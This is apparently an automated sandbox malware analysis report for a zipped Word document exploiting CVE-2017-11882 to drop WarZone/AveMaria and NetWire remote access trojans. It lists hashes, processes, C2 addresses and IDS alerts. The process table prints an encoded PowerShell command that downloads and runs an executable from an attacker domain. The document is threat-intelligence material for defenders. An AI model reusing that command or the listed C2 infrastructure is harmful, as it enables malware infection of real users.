analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

4d13d3666215f6b8dc7ad90686688a3f.zip

Full analysis: https://app.any.run/tasks/2ea19e25-ca71-4cde-b3f9-a9dd6e2b07fb
Verdict: Malicious activity
Threats:

WarZone RAT is a remote access trojan, which is written in C++ and offered as a malware-as-a-service. It packs a wide range of capabilities, from stealing victims’ files and passwords to capturing desktop activities. WarZone RAT is primarily distributed via phishing emails and receives regular updates from its C2.

Malware Trends Tracker     >>>
Analysis date: April 15, 2019, 07:14:14
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
exploit
CVE-2017-11882
trojan
stealer
rat
avemaria
netwire
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract
MD5:

88C7D41A5EC4AB9CBB7A4D4DA32B8380

SHA1:

BA3923B53547C6B14E7B700EB9CC8D860C667026

SHA256:

BD47B35469821A4567AACAC91EAD1B7ED247E61663473D8DC2CA6F7F0CA4A482

SSDEEP:

48:9YL5P+dpVjwoV7rtby4m6fEflxH8WOJ0pD93cfj2kIwTZjeedLEgD0khDcy1epQd:ONaflb5fEfr40pZUUde5Rhp25jzCF/

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Renames files like Ransomware

      • explorer.exe (PID: 2044)

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 1976)

    • Application was dropped or rewritten from another process

      • vnchost.exe (PID: 304)
      • images.exe (PID: 2656)
      • oFmu.kHHm.exe (PID: 2164)
      • ghmwvuKIm.exe (PID: 1448)

    • Changes the autorun value in the registry

      • vnchost.exe (PID: 304)

    • Application was injected by another process

      • explorer.exe (PID: 2044)

    • Runs injected code in another process

      • images.exe (PID: 2656)

    • AVEMARIA was detected

      • images.exe (PID: 2656)

    • Connects to CnC server

      • images.exe (PID: 2656)
      • oFmu.kHHm.exe (PID: 2164)

    • NETWIRE was detected

      • oFmu.kHHm.exe (PID: 2164)

  • SUSPICIOUS

    • Reads Internet Cache Settings

      • explorer.exe (PID: 2044)

    • Creates files in the user directory

      • explorer.exe (PID: 2044)
      • powershell.exe (PID: 2132)
      • EQNEDT32.EXE (PID: 1976)
      • vnchost.exe (PID: 304)
      • images.exe (PID: 2656)

    • Reads internet explorer settings

      • EQNEDT32.EXE (PID: 1976)

    • Executes PowerShell scripts

      • EQNEDT32.EXE (PID: 1976)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2132)
      • vnchost.exe (PID: 304)
      • images.exe (PID: 2656)

    • Starts itself from another location

      • vnchost.exe (PID: 304)

    • Reads the machine GUID from the registry

      • images.exe (PID: 2656)

    • Loads DLL from Mozilla Firefox

      • images.exe (PID: 2656)

  • INFO

    • Starts Microsoft Office Application

      • explorer.exe (PID: 2044)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2328)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2328)

    • Reads settings of System Certificates

      • powershell.exe (PID: 2132)

    • Dropped object may contain Bitcoin addresses

      • powershell.exe (PID: 2132)
      • vnchost.exe (PID: 304)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipFileName: 4d13d3666215f6b8dc7ad90686688a3f
ZipUncompressedSize: 14081
ZipCompressedSize: 3473
ZipCRC: 0x3aad9773
ZipModifyDate: 2019:04:15 10:11:28
ZipCompression: Deflated
ZipBitFlag: 0x0009
ZipRequiredVersion: 20
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
48
Monitored processes
10
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start inject drop and start drop and start winrar.exe no specs winword.exe no specs eqnedt32.exe powershell.exe cmd.exe no specs vnchost.exe #AVEMARIA images.exe explorer.exe #NETWIRE ofmu.khhm.exe ghmwvukim.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3868"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\4d13d3666215f6b8dc7ad90686688a3f.zip"C:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.60.0
2328"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\4d13d3666215f6b8dc7ad90686688a3f.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
1976"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
2132"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w 1 -e aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABmAGkAbABlACgAIgBoAHQAdABwAHMAOgAvAC8AaAB1AG0AbwByAHIANQAuAHAAdwAvAGYAaQBsAGUALgBlAHgAZQAiACwAIgAkAGUAbgB2ADoAdABlAG0AcABcAHYAbgBjAGgAbwBzAHQALgBlAHgAZQAiACkAKQA7AA==C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3492cmd /c %temp%\vnchost.exeC:\Windows\system32\cmd.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
304C:\Users\admin\AppData\Local\Temp\vnchost.exeC:\Users\admin\AppData\Local\Temp\vnchost.exe
cmd.exe
User:
admin
Company:
Caterpillar
Integrity Level:
MEDIUM
Description:
Intentinal Hull Insert
Exit code:
0
Version:
2.7.37.2
2656"C:\Users\admin\AppData\Roaming\images.exe"C:\Users\admin\AppData\Roaming\images.exe
vnchost.exe
User:
admin
Company:
Caterpillar
Integrity Level:
MEDIUM
Description:
Intentinal Hull Insert
Version:
2.7.37.2
2044C:\Windows\Explorer.EXEC:\Windows\explorer.exe
—
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2164"C:\Users\admin\AppData\Roaming\oFmu.kHHm.exe" C:\Users\admin\AppData\Roaming\oFmu.kHHm.exe
images.exe
User:
admin
Company:
Bandisoft
Integrity Level:
MEDIUM
Description:
Lampshades Atto Phone Prescribing
Version:
1.1.18.399
1448"C:\Users\admin\AppData\Roaming\ghmwvuKIm.exe" C:\Users\admin\AppData\Roaming\ghmwvuKIm.exe—images.exe
User:
admin
Company:
Bandisoft
Integrity Level:
MEDIUM
Description:
Lampshades Atto Phone Prescribing
Exit code:
0
Version:
1.1.18.399
Total events
6 502
Read events
5 942
Write events
0
Delete events
0

Modification events

No data
Executable files
5
Suspicious files
3
Text files
9
Unknown types
11

Dropped files

PID
Process
Filename
Type
3868WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb3868.49553\4d13d3666215f6b8dc7ad90686688a3f —
MD5:—
SHA256:—
2328WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRBFA3.tmp.cvr —
MD5:—
SHA256:—
2132powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2UJ03JEZ9Q8LK0TYR9OJ.temp —
MD5:—
SHA256:—
2656images.exeC:\Users\admin\AppData\Roaming\DaBJyBb.tmp —
MD5:—
SHA256:—
2044explorer.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\a7bd71699cd38d1c.automaticDestinations-msautomaticdestinations-ms
MD5:56C97260E6E58D16969B266B010C3CE7
SHA256:847E02457119D3787609D442F78C9E82E987E9C9CB011B34C5DAF2EDB62F4D75
2044explorer.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\4d13d3666215f6b8dc7ad90686688a3f.doc.lnklnk
MD5:4D55C8D9C4C9F0EFE61F338D686C6F52
SHA256:1572C58CD6615D5F715B38C8FD65C383C855FE490BB2CACA71C6BC8170211372
2328WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{3B034B00-71C7-438E-8D3C-8FE05D54FE17}.tmp —
MD5:—
SHA256:—
1976EQNEDT32.EXEC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@pastebin[1].txttext
MD5:36C7295C2EC314E5E0311F5A7AD23390
SHA256:65F15A2847ABC337FE186E2C131820FF18882C6D622104F8034A58FD3FC1CCE4
2328WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{79B372AF-85DB-4001-95B6-D923F66FA9B4}.tmp —
MD5:—
SHA256:—
2656images.exeC:\Users\admin\AppData\Roaming\Cjbecoe.tmp —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
7
DNS requests
2
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2656
images.exe
194.68.59.48:2318
—
Inleed AB
SE
suspicious
1976
EQNEDT32.EXE
104.20.209.21:443
pastebin.com
Cloudflare Inc
US
shared
2164
oFmu.kHHm.exe
194.68.59.48:8595
—
Inleed AB
SE
suspicious
2132
powershell.exe
104.28.3.194:443
humorr5.pw
Cloudflare Inc
US
shared
2656
images.exe
104.28.3.194:443
humorr5.pw
Cloudflare Inc
US
shared
—
—
194.68.59.48:8595
—
Inleed AB
SE
suspicious

DNS requests

Domain
IP
Reputation
pastebin.com
  • 104.20.209.21
  • 104.20.208.21
shared
humorr5.pw
  • 104.28.3.194
  • 104.28.2.194
suspicious

Threats

PID
Process
Class
Message
—
—
Potentially Bad Traffic
ET DNS Query to a *.pw domain - Likely Hostile
2656
images.exe
A Network Trojan was detected
MALWARE [PTsecurity] AveMaria.RAT Encrypted Checkin
2656
images.exe
A Network Trojan was detected
MALWARE [PTsecurity] AveMaria.RAT Connection
2656
images.exe
Generic Protocol Command Decode
SURICATA STREAM excessive retransmissions
2164
oFmu.kHHm.exe
A Network Trojan was detected
MALWARE [PTsecurity] Netwire.RAT
2164
oFmu.kHHm.exe
A Network Trojan was detected
ET TROJAN Possible Netwire RAT Client HeartBeat C2
2164
oFmu.kHHm.exe
A Network Trojan was detected
ET TROJAN Possible Netwire RAT Client HeartBeat C2
2164
oFmu.kHHm.exe
A Network Trojan was detected
ET TROJAN Possible Netwire RAT Client HeartBeat C2
2164
oFmu.kHHm.exe
A Network Trojan was detected
ET TROJAN Possible Netwire RAT Client HeartBeat C2
2164
oFmu.kHHm.exe
A Network Trojan was detected
ET TROJAN Possible Netwire RAT Client HeartBeat C2
4 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
4d13d3666215f6b8dc7ad90686688a3f.zip